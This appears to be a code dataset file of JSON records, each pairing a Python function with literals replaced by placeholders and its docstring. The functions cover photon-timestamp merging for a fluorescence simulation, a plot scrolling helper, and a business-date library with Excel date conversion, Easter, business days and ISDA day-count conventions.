{"signature": "def merge_ph_times(times_list, times_par_list, time_block):", "body": "offsets = np.arange(len(times_list)) * time_block<EOL>cum_sizes = np.cumsum([ts.size for ts in times_list])<EOL>times = np.zeros(cum_sizes[-<NUM_LIT:1>])<EOL>times_par = np.zeros(cum_sizes[-<NUM_LIT:1>], dtype='<STR_LIT>')<EOL>i1 = <NUM_LIT:0><EOL>for i2, ts, ts_par, offset in zip(cum_sizes, times_list, times_par_list,<EOL>offsets):<EOL><INDENT>times[i1:i2] = ts + offset<EOL>times_par[i1:i2] = ts_par<EOL>i1 = i2<EOL><DEDENT>return times, times_par<EOL>", "docstring": "Build an array of timestamps joining the arrays in `ph_times_list`.\n    `time_block` is the duration of each array of timestamps.", "id": "f15434:m1"}
{"signature": "def merge_DA_ph_times(ph_times_d, ph_times_a):", "body": "ph_times = np.hstack([ph_times_d, ph_times_a])<EOL>a_em = np.hstack([np.zeros(ph_times_d.size, dtype=np.bool),<EOL>np.ones(ph_times_a.size, dtype=np.bool)])<EOL>index_sort = ph_times.argsort()<EOL>return ph_times[index_sort], a_em[index_sort]<EOL>", "docstring": "Returns a merged timestamp array for Donor+Accept. and bool mask for A.", "id": "f15434:m2"}
{"signature": "def merge_particle_emission(SS):", "body": "<EOL>P = reduce(lambda x, y: x + y, [Si.particles for Si in SS])<EOL>s = SS[<NUM_LIT:0>]<EOL>S = ParticlesSimulation(t_step=s.t_step, t_max=s.t_max,<EOL>particles=P, box=s.box, psf=s.psf)<EOL>S.em = np.zeros(s.em.shape, dtype=np.float64)<EOL>for Si in SS:<EOL><INDENT>S.em += Si.em<EOL><DEDENT>return S<EOL>", "docstring": "Returns a sim object summing the emissions and particles in SS (list).", "id": "f15434:m3"}
{"signature": "def __init__(self, fig, page_step=<NUM_LIT:1>):", "body": "<EOL>self.fig = fig<EOL>self.page_step = page_step <EOL>self.xmin, self.xmax = fig.axes[<NUM_LIT:0>].get_xlim()<EOL>self.width = min(<NUM_LIT:1>, self.xmax-self.xmin) <EOL>self.pos = <NUM_LIT:0>   <EOL>self.scale = <NUM_LIT> <EOL>self.ax = self.fig.axes[<NUM_LIT:0>]<EOL>self.draw = self.fig.canvas.draw<EOL>QMainWin = fig.canvas.parent()<EOL>toolbar = QtGui.QToolBar(QMainWin)<EOL>QMainWin.addToolBar(QtCore.Qt.BottomToolBarArea, toolbar)<EOL>self.set_slider(toolbar)<EOL>self.set_spinbox(toolbar)<EOL>self.ax.set_xlim(self.pos,self.pos+self.width)<EOL>self.draw()<EOL>", "docstring": "Make a scrolling x axis on figure `fig`.\n        `page_step` is the multiplier for page-step scrolling.", "id": "f15435:c2:m0"}
{"signature": "def is_leap_year(year):", "body": "return (year % <NUM_LIT:4> == <NUM_LIT:0> and year % <NUM_LIT:100> != <NUM_LIT:0>) or (year % <NUM_LIT> == <NUM_LIT:0>)<EOL>", "docstring": "returns True for leap year and False otherwise\n\n:param int year: calendar year\n:return bool:", "id": "f15440:m0"}
{"signature": "def days_in_year(year):", "body": "return <NUM_LIT> if is_leap_year(year) else <NUM_LIT><EOL>", "docstring": "returns number of days in the given calendar year\n\n:param int year: calendar year\n:return int:", "id": "f15440:m1"}
{"signature": "def days_in_month(year, month):", "body": "eom = _days_per_month[month - <NUM_LIT:1>]<EOL>if is_leap_year(year) and month == <NUM_LIT:2>:<EOL><INDENT>eom += <NUM_LIT:1><EOL><DEDENT>return eom<EOL>", "docstring": "returns number of days for the given year and month\n\n:param int year: calendar year\n:param int month: calendar month\n:return int:", "id": "f15440:m2"}
{"signature": "def is_valid_ymd(year, month, day):", "body": "return <NUM_LIT:1> <= month <= <NUM_LIT:12> and <NUM_LIT:1> <= day <= days_in_month(year, month) and year >= <NUM_LIT><EOL>", "docstring": "return True if (year,month, day) can be represented in Excel-notation\n(number of days since 30.12.1899) for calendar days, otherwise False\n\n:param int year: calendar year\n:param int month: calendar month\n:param int day: calendar day\n:return bool:", "id": "f15440:m3"}
{"signature": "def from_excel_to_ymd(excel_int):", "body": "int_date = int(floor(excel_int))<EOL>int_date -= <NUM_LIT:1>  if excel_int > <NUM_LIT> else <NUM_LIT:0><EOL>year = (int_date - <NUM_LIT:1>) // <NUM_LIT><EOL>rest_days = int_date - <NUM_LIT> * year - (year + <NUM_LIT:3>) // <NUM_LIT:4> + (year + <NUM_LIT>) // <NUM_LIT:100> - (year + <NUM_LIT>) // <NUM_LIT><EOL>year += <NUM_LIT><EOL>while rest_days <= <NUM_LIT:0>:<EOL><INDENT>year -= <NUM_LIT:1><EOL>rest_days += days_in_year(year)<EOL><DEDENT>month = <NUM_LIT:1><EOL>if is_leap_year(year) and rest_days == <NUM_LIT>:<EOL><INDENT>month = <NUM_LIT:2><EOL>day = <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>if is_leap_year(year) and rest_days > <NUM_LIT>:<EOL><INDENT>rest_days -= <NUM_LIT:1><EOL><DEDENT>while rest_days > _cum_month_days[month]:<EOL><INDENT>month += <NUM_LIT:1><EOL><DEDENT>day = rest_days - _cum_month_days[month - <NUM_LIT:1>]<EOL><DEDENT>return year, month, day<EOL>", "docstring": "converts date in Microsoft Excel representation style and returns `(year, month, day)` tuple\n\n:param int excel_int: date as int (days since 1899-12-31)\n:return tuple(int, int, int):", "id": "f15440:m4"}
{"signature": "def from_ymd_to_excel(year, month, day):", "body": "if not is_valid_ymd(year, month, day):<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(year, month, day))<EOL><DEDENT>days = _cum_month_days[month - <NUM_LIT:1>] + day<EOL>days += <NUM_LIT:1> if (is_leap_year(year) and month > <NUM_LIT:2>) else <NUM_LIT:0><EOL>years_distance = year - <NUM_LIT><EOL>days += years_distance * <NUM_LIT> +(years_distance + <NUM_LIT:3>) // <NUM_LIT:4> - (years_distance + <NUM_LIT>) // <NUM_LIT:100> + (years_distance + <NUM_LIT>) // <NUM_LIT><EOL>days += <NUM_LIT:1> if (year, month, day) > (<NUM_LIT>, <NUM_LIT:2>, <NUM_LIT>) else <NUM_LIT:0><EOL>return days<EOL>", "docstring": "converts date as `(year, month, day)` tuple into Microsoft Excel representation style\n\n:param tuple(int, int, int): int tuple `year, month, day`\n:return int:", "id": "f15440:m5"}
{"signature": "@property<EOL><INDENT>def day(self):<DEDENT>", "body": "return BaseDateFloat.to_ymd(self)[<NUM_LIT:2>]<EOL>", "docstring": "day of date\n:return int:", "id": "f15440:c0:m0"}
{"signature": "@property<EOL><INDENT>def month(self):<DEDENT>", "body": "return BaseDateFloat.to_ymd(self)[<NUM_LIT:1>]<EOL>", "docstring": "month of date\n:return int:", "id": "f15440:c0:m1"}
{"signature": "@property<EOL><INDENT>def year(self):<DEDENT>", "body": "return BaseDateFloat.to_ymd(self)[<NUM_LIT:0>]<EOL>", "docstring": "year of date\n:return int:", "id": "f15440:c0:m2"}
{"signature": "@staticmethod<EOL><INDENT>def from_ymd(year, month, day):<DEDENT>", "body": "return BaseDate(from_ymd_to_excel(year, month, day))<EOL>", "docstring": "creates date for year, month and day\n:param int year:\n:param int month:\n:param int day:\n:return BaseDate:", "id": "f15440:c0:m3"}
{"signature": "@staticmethod<EOL><INDENT>def to_ymd(d):<DEDENT>", "body": "return from_excel_to_ymd(d)<EOL>", "docstring": "returns date represented as tuple `year, month, day`\n:param BaseDateFloat d:\n:return tuple(int, int, int):", "id": "f15440:c0:m4"}
{"signature": "@staticmethod<EOL><INDENT>def add_days(d, days_int):<DEDENT>", "body": "return BaseDateFloat(super(BaseDate, d).__add__(days_int))<EOL>", "docstring": "adds number of days to a date\n:param BaseDateFloat d: date to add days to\n:param int days_int: number of days to add\n:return BaseDate: resulting date", "id": "f15440:c0:m5"}
{"signature": "@staticmethod<EOL><INDENT>def add_years(d, years_int):<DEDENT>", "body": "y, m, d = BaseDate.to_ymd(d)<EOL>if not is_leap_year(years_int) and m == <NUM_LIT:2>:<EOL><INDENT>d = min(<NUM_LIT>, d)<EOL><DEDENT>return BaseDateFloat.from_ymd(y + years_int, m, d)<EOL>", "docstring": "adds number of years to a date\n:param BaseDateFloat d: date to add years to\n:param int years_int: number of years to add\n:return BaseDate: resulting date", "id": "f15440:c0:m6"}
{"signature": "@staticmethod<EOL><INDENT>def diff_in_days(start, end):<DEDENT>", "body": "return super(BaseDateFloat, end).__sub__(start)<EOL>", "docstring": "returns distance of two dates as number of days\n:param BaseDateFloat start: start date\n:param BaseDateFloat end: end date\n:return float: difference between end date and start date in days", "id": "f15440:c0:m7"}
{"signature": "@staticmethod<EOL><INDENT>def diff_in_years(start, end):<DEDENT>", "body": "return BaseDateFloat.diff_in_days(start, end) / DAYS_IN_YEAR<EOL>", "docstring": "calculate difference between given dates in years. The difference corresponds to Act/365.25 year fraction\n\n:param BaseDateFloat start: state date\n:param BaseDateFloat end: end date\n:return float: difference between end date and start date in years", "id": "f15440:c0:m8"}
{"signature": "@staticmethod<EOL><INDENT>def from_ymd(year, month, day):<DEDENT>", "body": "return BaseDateDatetimeDate(year, month, day)<EOL>", "docstring": "converts date as `(year, month, day)` tuple into Microsoft Excel representation style\n\n:param tuple(int, int, int): int tuple `year, month, day`\n:return BaseDatetimeDate:", "id": "f15440:c1:m1"}
{"signature": "@staticmethod<EOL><INDENT>def to_ymd(d):<DEDENT>", "body": "return d.year, d.month, d.day<EOL>", "docstring": "returns date represented as tuple `year, month, day`\n:param BaseDateDatetimeDate d:\n:return tuple(int, int, int):", "id": "f15440:c1:m2"}
{"signature": "@staticmethod<EOL><INDENT>def add_days(d, days_int):<DEDENT>", "body": "n = date(d.year, d.month, d.day) + timedelta(days_int)<EOL>return BaseDateDatetimeDate(n.year, n.month, n.day)<EOL>", "docstring": "addition of a number of days\n\n:param BaseDateDatetimeDate d:\n:param int days_int:\n:return BaseDatetimeDate:", "id": "f15440:c1:m3"}
{"signature": "@staticmethod<EOL><INDENT>def add_years(d, years_int):<DEDENT>", "body": "y, m, d = BaseDateDatetimeDate.to_ymd(d)<EOL>y += years_int<EOL>if not is_leap_year(y) and m == <NUM_LIT:2>:<EOL><INDENT>d = min(<NUM_LIT>, d)<EOL><DEDENT>return BaseDateDatetimeDate.from_ymd(y, m, d)<EOL>", "docstring": "addition of a number of years\n\n:param BaseDateDatetimeDate d:\n:param int years_int:\n:return BaseDatetimeDate:", "id": "f15440:c1:m4"}
{"signature": "@staticmethod<EOL><INDENT>def diff_in_days(start, end):<DEDENT>", "body": "diff = date(end.year, end.month, end.day) - date(start.year, start.month, start.day)<EOL>return float(diff.days)<EOL>", "docstring": "calculate difference between given dates in days\n\n:param BaseDateDatetimeDate start: state date\n:param BaseDateDatetimeDate end: end date\n:return float: difference between end date and start date in days", "id": "f15440:c1:m5"}
{"signature": "@staticmethod<EOL><INDENT>def diff_in_years(start, end):<DEDENT>", "body": "return BaseDateDatetimeDate.diff_in_days(start, end) / DAYS_IN_YEAR<EOL>", "docstring": "calculate difference between given dates in years. The difference corresponds to Act/365.25 year fraction\n\n:param BaseDateDatetimeDate start: state date\n:param BaseDateDatetimeDate end: end date\n:return float: difference between end date and start date in years", "id": "f15440:c1:m6"}
{"signature": "def __new__(cls, *args):", "body": "new = super(BaseDateTuple, cls).__new__(cls)<EOL>if BaseDateTuple._is_valid_args(args):<EOL><INDENT>if isinstance(args[<NUM_LIT:0>], BaseDateTuple):<EOL><INDENT>new.date = args[<NUM_LIT:0>].date<EOL><DEDENT>else:<EOL><INDENT>new.date = (args[<NUM_LIT:0>], args[<NUM_LIT:1>], args[<NUM_LIT:2>])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>msg = str(args) + \"<STR_LIT>\"<EOL>raise ValueError(msg)<EOL><DEDENT>return new<EOL>", "docstring": ":param args: should be three ints (year, month, day)", "id": "f15440:c2:m1"}
{"signature": "@staticmethod<EOL><INDENT>def add_days(date_obj, days_int):<DEDENT>", "body": "n = from_ymd_to_excel(*date_obj.date) + days_int<EOL>return BaseDateTuple(*from_excel_to_ymd(n))<EOL>", "docstring": "addition of a number of days\n\n:param BaseDateTuple d:\n:param int days_int:\n:return BaseDatetimeDate:", "id": "f15440:c2:m7"}
{"signature": "@staticmethod<EOL><INDENT>def add_years(date_obj, years_int):<DEDENT>", "body": "y, m, d = BaseDateTuple.to_ymd(date_obj)<EOL>y += years_int<EOL>if not is_leap_year(y) and m == <NUM_LIT:2>:<EOL><INDENT>d = min(<NUM_LIT>, d)<EOL><DEDENT>return BaseDateTuple.from_ymd(y, m, d)<EOL>", "docstring": "addition of a number of years\n\n:param BaseDateTuple d:\n:param int years_int:\n:return BaseDatetimeDate:", "id": "f15440:c2:m8"}
{"signature": "@staticmethod<EOL><INDENT>def diff_in_days(start, end):<DEDENT>", "body": "diff = from_ymd_to_excel(*end.date)-from_ymd_to_excel(*start.date)<EOL>return float(diff)<EOL>", "docstring": "calculate difference between given dates in days\n\n:param BaseDateTuple start: state date\n:param BaseDateTuple end: end date\n:return float: difference between end date and start date in days", "id": "f15440:c2:m9"}
{"signature": "@staticmethod<EOL><INDENT>def diff_in_years(start, end):<DEDENT>", "body": "return BaseDateTuple.diff_in_days(start, end) / DAYS_IN_YEAR<EOL>", "docstring": "calculate difference between given dates in years. The difference corresponds to Act/365.25 year fraction\n\n:param BaseDateDatetimeDate start: state date\n:param BaseDateDatetimeDate end: end date\n:return float: difference between end date and start date in years", "id": "f15440:c2:m10"}
{"signature": "def easter(year):", "body": "<EOL>y = year<EOL>g = y % <NUM_LIT><EOL>e = <NUM_LIT:0><EOL>c = y // <NUM_LIT:100><EOL>h = (c - c // <NUM_LIT:4> - (<NUM_LIT:8> * c + <NUM_LIT>) // <NUM_LIT> + <NUM_LIT> * g + <NUM_LIT:15>) % <NUM_LIT:30><EOL>i = h - (h // <NUM_LIT>) * (<NUM_LIT:1> - (h // <NUM_LIT>) * (<NUM_LIT> // (h + <NUM_LIT:1>)) * ((<NUM_LIT> - g) // <NUM_LIT:11>))<EOL>j = (y + y // <NUM_LIT:4> + i + <NUM_LIT:2> - c + c // <NUM_LIT:4>) % <NUM_LIT:7><EOL>p = i - j + e<EOL>d = <NUM_LIT:1> + (p + <NUM_LIT> + (p + <NUM_LIT:6>) // <NUM_LIT>) % <NUM_LIT><EOL>m = <NUM_LIT:3> + (p + <NUM_LIT>) // <NUM_LIT:30><EOL>return BusinessDate.from_ymd(int(y), int(m), int(d))<EOL>", "docstring": "This method was ported from the work done by GM Arts,\non top of the algorithm by Claus Tondering, which was\nbased in part on the algorithm of Ouding (1940), as\nquoted in \"Explanatory Supplement to the Astronomical\nAlmanac\", P.  Kenneth Seidelmann, editor.\n\nMore about the algorithm may be found at:\n\nhttp://users.chariot.net.au/~gmarts/eastalg.htm\n\nand\n\nhttp://www.tondering.dk/claus/calendar.html", "id": "f15441:m0"}
{"signature": "def __init__(self, iterable=None):", "body": "if iterable:<EOL><INDENT>super(BusinessHolidays, self).__init__(BusinessDate(iterable))<EOL><DEDENT>else:<EOL><INDENT>super(BusinessHolidays, self).__init__()<EOL><DEDENT>", "docstring": ":param iterable iterable: sequence of holiday dates", "id": "f15441:c0:m0"}
{"signature": "def __new__(cls, date_value=None):", "body": "if date_value is None:<EOL><INDENT>new_date = BusinessDate(BASE_DATE)<EOL><DEDENT>elif isinstance(date_value, BaseDateFloat):<EOL><INDENT>return super(BusinessDate, cls).__new__(cls, float(date_value))<EOL><DEDENT>elif isinstance(date_value, (BaseDateDatetimeDate, BaseDateTuple)):<EOL><INDENT>return super(BusinessDate, cls).__new__(cls, date_value.year, date_value.month, date_value.day)<EOL><DEDENT>elif isinstance(date_value, (int, float)):<EOL><INDENT>if date_value >= <NUM_LIT>:<EOL><INDENT>new_date = BusinessDate.from_string(str(date_value))<EOL><DEDENT>elif <NUM_LIT:1> < date_value < <NUM_LIT:200> * <NUM_LIT>:<EOL><INDENT>new_date = BusinessDate.from_excel(date_value)<EOL><DEDENT>else:<EOL><INDENT>new_date = BusinessDate.from_ordinal(date_value)<EOL><DEDENT><DEDENT>elif isinstance(date_value, (str, unicode)):<EOL><INDENT>new_date = BusinessDate.from_string(str(date_value))<EOL><DEDENT>elif isinstance(date_value, (date, datetime)):<EOL><INDENT>new_date = BusinessDate.from_date(date_value)<EOL><DEDENT>elif isinstance(date_value, list):<EOL><INDENT>new_date = [BusinessDate(d) for d in date_value]<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % str(type(date_value)))<EOL><DEDENT>return new_date<EOL>", "docstring": "r\"\"\"\n        fundamental date class\n\n        :param date_value: input value to create BusinessDate instance\n        :type date_value: int, float, string or datetime.date\n        :return: BusinessDate\n\n        creates new BusinessDate either from `int`, `float`, `string`, `datetime.date`\n        therefore the following will create the same\n\n        .. code-block:: python\n\n            BusinessDate(datetime.date(2015, 12, 31))\n            BusinessDate(20151231)\n            BusinessDate(2015-12-31)\n            BusinessDate(31.12.2015)\n            BusinessDate(12/31/2015)\n            BusinessDate(42369)\n            BusinessDate(42369.0)\n            BusinessDate(735963)\n            BusinessDate(735963.0)\n            BusinessDate()\n\n        **caution:** recommended is the use of class methods BusinessDate.from_string, from_date etc.", "id": "f15441:c2:m0"}
{"signature": "def __add__(self, other):", "body": "if isinstance(other, BusinessPeriod):<EOL><INDENT>return self.add_period(other)<EOL><DEDENT>elif BusinessPeriod.is_businessperiod(other):<EOL><INDENT>return self + BusinessPeriod(other)<EOL><DEDENT>else:<EOL><INDENT>raise TypeError('<STR_LIT>' % type(other))<EOL><DEDENT>", "docstring": "addition of BusinessDate.\n\n:param BusinessDate or BusinessPeriod or str other: can be BusinessPeriod or\nany thing that might be casted to it.", "id": "f15441:c2:m3"}
{"signature": "def __sub__(self, other):", "body": "if isinstance(other, BusinessDate):<EOL><INDENT>y, m, d = self.diff(other)<EOL>return BusinessPeriod(years=y, months=m, days=d)<EOL><DEDENT>elif isinstance(other, BusinessPeriod):<EOL><INDENT>return self.add_period(-<NUM_LIT:1> * other)<EOL><DEDENT>elif BusinessDate.is_businessdate(other):<EOL><INDENT>return self - BusinessDate(other)<EOL><DEDENT>elif BusinessPeriod.is_businessperiod(other):<EOL><INDENT>return self - BusinessPeriod(other)<EOL><DEDENT>else:<EOL><INDENT>raise TypeError('<STR_LIT>' % type(other))<EOL><DEDENT>", "docstring": "subtraction of BusinessDate.\n\n:param object other: can be other BusinessDate, BusinessPeriod or any thing that might be casted to those.", "id": "f15441:c2:m4"}
{"signature": "@staticmethod<EOL><INDENT>def from_businessdate(d):<DEDENT>", "body": "return copy(d)<EOL>", "docstring": "copy constructor\n\n:param BusinessDate d:\n:return bankdate:", "id": "f15441:c2:m8"}
{"signature": "@staticmethod<EOL><INDENT>def from_date(datetime_date):<DEDENT>", "body": "return BusinessDate.from_ymd(datetime_date.year, datetime_date.month, datetime_date.day)<EOL>", "docstring": "construct BusinessDate instance from datetime.date instance,\nraise ValueError exception if not possible\n\n:param datetime.date datetime_date: calendar day\n:return bool:", "id": "f15441:c2:m10"}
{"signature": "@staticmethod<EOL><INDENT>def from_string(date_str):<DEDENT>", "body": "if date_str.count('<STR_LIT:->'):<EOL><INDENT>str_format = '<STR_LIT>'<EOL><DEDENT>elif date_str.count('<STR_LIT:.>'):<EOL><INDENT>str_format = '<STR_LIT>'<EOL><DEDENT>elif date_str.count('<STR_LIT:/>'):<EOL><INDENT>str_format = '<STR_LIT>'<EOL><DEDENT>elif len(date_str) == <NUM_LIT:8>:<EOL><INDENT>str_format = '<STR_LIT>'<EOL><DEDENT>elif len(date_str) == <NUM_LIT:4>:<EOL><INDENT>year = ord(date_str[<NUM_LIT:0>]) * <NUM_LIT> + ord(date_str[<NUM_LIT:1>])<EOL>month = ord(date_str[<NUM_LIT:2>])<EOL>day = ord(date_str[<NUM_LIT:3>])<EOL>return BusinessDate.from_ymd(year, month, day)<EOL><DEDENT>else:<EOL><INDENT>msg = \"<STR_LIT>\" + date_str + \"<STR_LIT>\"<EOL>raise ValueError(msg)<EOL><DEDENT>d = datetime.strptime(date_str, str_format)<EOL>return BusinessDate.from_ymd(d.year, d.month, d.day)<EOL>", "docstring": "construction from the following string patterns\n'%Y-%m-%d'\n'%d.%m.%Y'\n'%m/%d/%Y'\n'%Y%m%d'\n\n:param str date_str:\n:return BusinessDate:", "id": "f15441:c2:m12"}
{"signature": "def to_date(self):", "body": "y, m, d = self.to_ymd()<EOL>return date(y, m, d)<EOL>", "docstring": "construct datetime.date instance represented calendar date of BusinessDate instance\n\n:return datetime.date:", "id": "f15441:c2:m19"}
{"signature": "def to_string(self, date_format=DATE_FORMAT):", "body": "return self.to_date().strftime(date_format)<EOL>", "docstring": "return BusinessDate as 'date.strftime(DATE_FORMAT)'\n\n:return string:", "id": "f15441:c2:m21"}
{"signature": "@staticmethod<EOL><INDENT>def is_leap_year(year):<DEDENT>", "body": "return is_leap_year(year)<EOL>", "docstring": "returns True for leap year and False otherwise\n\n:param int year: calendar year\n:return bool:", "id": "f15441:c2:m22"}
{"signature": "@staticmethod<EOL><INDENT>def days_in_year(year):<DEDENT>", "body": "return days_in_year(year)<EOL>", "docstring": "returns number of days in the given calendar year\n\n:param int year: calendar year\n:return int:", "id": "f15441:c2:m23"}
{"signature": "@staticmethod<EOL><INDENT>def days_in_month(year, month):<DEDENT>", "body": "return days_in_month(year, month)<EOL>", "docstring": "returns number of days for the given year and month\n\n:param int year: calendar year\n:param int month: calendar month\n:return int:", "id": "f15441:c2:m24"}
{"signature": "@staticmethod<EOL><INDENT>def is_businessdate(in_date):<DEDENT>", "body": "<EOL>if not isinstance(in_date, BaseDate):<EOL><INDENT>try:  <EOL><INDENT>in_date = BusinessDate(in_date)<EOL><DEDENT>except:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>y, m, d, = in_date.to_ymd()<EOL>return is_valid_ymd(y, m, d)<EOL>", "docstring": "checks whether the provided date is a date\n:param BusinessDate, int or float in_date:\n:return bool:", "id": "f15441:c2:m25"}
{"signature": "def is_business_day(self, holiday_obj=None):", "body": "y, m, d = BusinessDate.to_ymd(self)<EOL>if weekday(y, m, d) > FRIDAY:<EOL><INDENT>return False<EOL><DEDENT>holiday_list = holiday_obj if holiday_obj is not None else DEFAULT_HOLIDAYS<EOL>if self in holiday_list:<EOL><INDENT>return False<EOL><DEDENT>elif date(y, m, d) in holiday_list:<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": ":param list holiday_obj : datetime.date list defining business holidays\n:return: bool\n\nmethod to check if a date falls neither on weekend nor is holiday", "id": "f15441:c2:m28"}
{"signature": "def add_period(self, p, holiday_obj=None):", "body": "if isinstance(p, (list, tuple)):<EOL><INDENT>return [BusinessDate.add_period(self, pd) for pd in p]<EOL><DEDENT>elif isinstance(p, str):<EOL><INDENT>period = BusinessPeriod(p)<EOL><DEDENT>else:<EOL><INDENT>period = p<EOL><DEDENT>res = self<EOL>res = BusinessDate.add_months(res, period.months)<EOL>res = BusinessDate.add_years(res, period.years)<EOL>res = BusinessDate.add_days(res, period.days)<EOL>if period.businessdays:<EOL><INDENT>if holiday_obj:<EOL><INDENT>res = BusinessDate.add_business_days(res, period.businessdays, holiday_obj)<EOL><DEDENT>else:<EOL><INDENT>res = BusinessDate.add_business_days(res, period.businessdays, period.holiday)<EOL><DEDENT><DEDENT>return res<EOL>", "docstring": "addition of a period object\n\n:param BusinessDate d:\n:param p:\n:type p: BusinessPeriod or str\n:param list holiday_obj:\n:return bankdate:", "id": "f15441:c2:m33"}
{"signature": "def add_months(self, month_int):", "body": "month_int += self.month<EOL>while month_int > <NUM_LIT:12>:<EOL><INDENT>self = BusinessDate.add_years(self, <NUM_LIT:1>)<EOL>month_int -= <NUM_LIT:12><EOL><DEDENT>while month_int < <NUM_LIT:1>:<EOL><INDENT>self = BusinessDate.add_years(self, -<NUM_LIT:1>)<EOL>month_int += <NUM_LIT:12><EOL><DEDENT>l = monthrange(self.year, month_int)[<NUM_LIT:1>]<EOL>return BusinessDate.from_ymd(self.year, month_int, min(l, self.day))<EOL>", "docstring": "addition of a number of months\n\n:param BusinessDate d:\n:param int month_int:\n:return bankdate:", "id": "f15441:c2:m34"}
{"signature": "def add_business_days(self, days_int, holiday_obj=None):", "body": "res = self<EOL>if days_int >= <NUM_LIT:0>:<EOL><INDENT>count = <NUM_LIT:0><EOL>while count < days_int:<EOL><INDENT>res = BusinessDate.add_days(res, <NUM_LIT:1>)<EOL>if BusinessDate.is_business_day(res, holiday_obj):<EOL><INDENT>count += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>count = <NUM_LIT:0><EOL>while count > days_int:<EOL><INDENT>res = BusinessDate.add_days(res, -<NUM_LIT:1>)<EOL>if BusinessDate.is_business_day(res, holiday_obj):<EOL><INDENT>count -= <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>return res<EOL>", "docstring": "private method for the addition of business days, used in the addition of a BusinessPeriod only\n\n:param BusinessDate d:\n:param int days_int:\n:param list holiday_obj:\n:return: BusinessDate", "id": "f15441:c2:m35"}
{"signature": "def diff(self, end_date):", "body": "if end_date < self:<EOL><INDENT>y, m, d = BusinessDate.diff(end_date, self)<EOL>return -y, -m, -d<EOL><DEDENT>y = end_date.year - self.year<EOL>m = end_date.month - self.month<EOL>while m < <NUM_LIT:0>:<EOL><INDENT>y -= <NUM_LIT:1><EOL>m += <NUM_LIT:12><EOL><DEDENT>while m > <NUM_LIT:12>:<EOL><INDENT>y += <NUM_LIT:1><EOL>m -= <NUM_LIT:12><EOL><DEDENT>s = BusinessDate.add_years(BusinessDate.add_months(self, m), y)<EOL>d = BusinessDate.diff_in_days(s, end_date)<EOL>if d < <NUM_LIT:0>:<EOL><INDENT>m -= <NUM_LIT:1><EOL>if m < <NUM_LIT:0>:<EOL><INDENT>y -= <NUM_LIT:1><EOL>m += <NUM_LIT:12><EOL><DEDENT>s = BusinessDate.add_years(BusinessDate.add_months(self, m), y)<EOL><DEDENT>d = BusinessDate.diff_in_days(s, end_date)<EOL>return -int(y), -int(m), -int(d)<EOL>", "docstring": "difference expressed as a tuple of years, months, days\n(see also the python lib dateutils.relativedelta)\n\n:param BusinessDate start_date:\n:param BusinessDate end_date:\n:return (int, int, int):", "id": "f15441:c2:m36"}
{"signature": "def get_30_360(self, end):", "body": "start_day = min(self.day, <NUM_LIT:30>)<EOL>end_day = <NUM_LIT:30> if (start_day == <NUM_LIT:30> and end.day == <NUM_LIT>) else end.day<EOL>return (<NUM_LIT> * (end.year - self.year) + <NUM_LIT:30> * (end.month - self.month) + (end_day - start_day)) / <NUM_LIT><EOL>", "docstring": "implements 30/360 Day Count Convention (4.16(f) 2006 ISDA Definitions)", "id": "f15441:c2:m37"}
{"signature": "def get_act_36525(self, end):", "body": "return BusinessDate.diff_in_days(self, end) / <NUM_LIT><EOL>", "docstring": "implements Act/365.25 Day Count Convention", "id": "f15441:c2:m38"}
{"signature": "def get_act_365(self, end):", "body": "return BusinessDate.diff_in_days(self, end) / <NUM_LIT><EOL>", "docstring": "implements Act/365 day count convention (4.16(d) 2006 ISDA Definitions)", "id": "f15441:c2:m39"}
{"signature": "def get_act_360(self, end):", "body": "return BusinessDate.diff_in_days(self, end) / <NUM_LIT><EOL>", "docstring": "implements Act/360 day count convention (4.16(e) 2006 ISDA Definitions)", "id": "f15441:c2:m40"}
{"signature": "def get_act_act(self, end):", "body": "<EOL>if end.year - self.year == <NUM_LIT:0>:<EOL><INDENT>if BusinessDate.is_leap_year(self.year):<EOL><INDENT>return BusinessDate.diff_in_days(self, end) / <NUM_LIT>  <EOL><DEDENT>else:<EOL><INDENT>return BusinessDate.diff_in_days(self, end) / <NUM_LIT>  <EOL><DEDENT><DEDENT>else:<EOL><INDENT>rest_year1 = BusinessDate.diff_in_days(self, BusinessDate(<EOL>date(self.year, <NUM_LIT:12>, <NUM_LIT>))) + <NUM_LIT:1>  <EOL>rest_year2 = abs(BusinessDate.diff_in_days(end, BusinessDate(<EOL>date(end.year, <NUM_LIT:1>, <NUM_LIT:1>))))  <EOL>years_in_between = end.year - self.year - <NUM_LIT:1><EOL>return years_in_between + rest_year1 / (<NUM_LIT> if is_leap_year(self.year) else <NUM_LIT>) + rest_year2 / (<EOL><NUM_LIT> if is_leap_year(end.year) else <NUM_LIT>)<EOL><DEDENT>", "docstring": "implements Act/Act day count convention (4.16(b) 2006 ISDA Definitions)", "id": "f15441:c2:m41"}
{"signature": "def get_30E_360(self, end):", "body": "y1, m1, d1 = self.to_ymd()<EOL>y2, m2, d2 = end.add_days(<NUM_LIT:0>).to_ymd()<EOL>d1 = min(d1, <NUM_LIT:30>)<EOL>d2 = min(d2, <NUM_LIT:30>)<EOL>return (<NUM_LIT> * (y2 - y1) + <NUM_LIT:30> * (m2 - m1) + (d2 - d1)) / <NUM_LIT><EOL>", "docstring": "implements the 30E/360 Day Count Convention (4.16(g) 2006 ISDA Definitons)", "id": "f15441:c2:m42"}
{"signature": "def get_30E_360_ISDA(self, end):", "body": "y1, m1, d1 = self.to_ymd()<EOL>y2, m2, d2 = end.add_days(<NUM_LIT:0>).to_ymd()<EOL>if (m1 == <NUM_LIT:2> and d1 >= <NUM_LIT>) or d1 == <NUM_LIT>:<EOL><INDENT>d1 = <NUM_LIT:30><EOL><DEDENT>if (m2 == <NUM_LIT:2> and d2 >= <NUM_LIT>) or d2 == <NUM_LIT>:<EOL><INDENT>d2 = <NUM_LIT:30><EOL><DEDENT>return (<NUM_LIT> * (y2 - y1) + <NUM_LIT:30> * (m2 - m1) + (d2 - d1)) / <NUM_LIT><EOL>", "docstring": "implements the 30E/360 (ISDA) Day Count Convention (4.16(h) 2006 ISDA Definitions)\n:param end:\n:return:", "id": "f15441:c2:m43"}
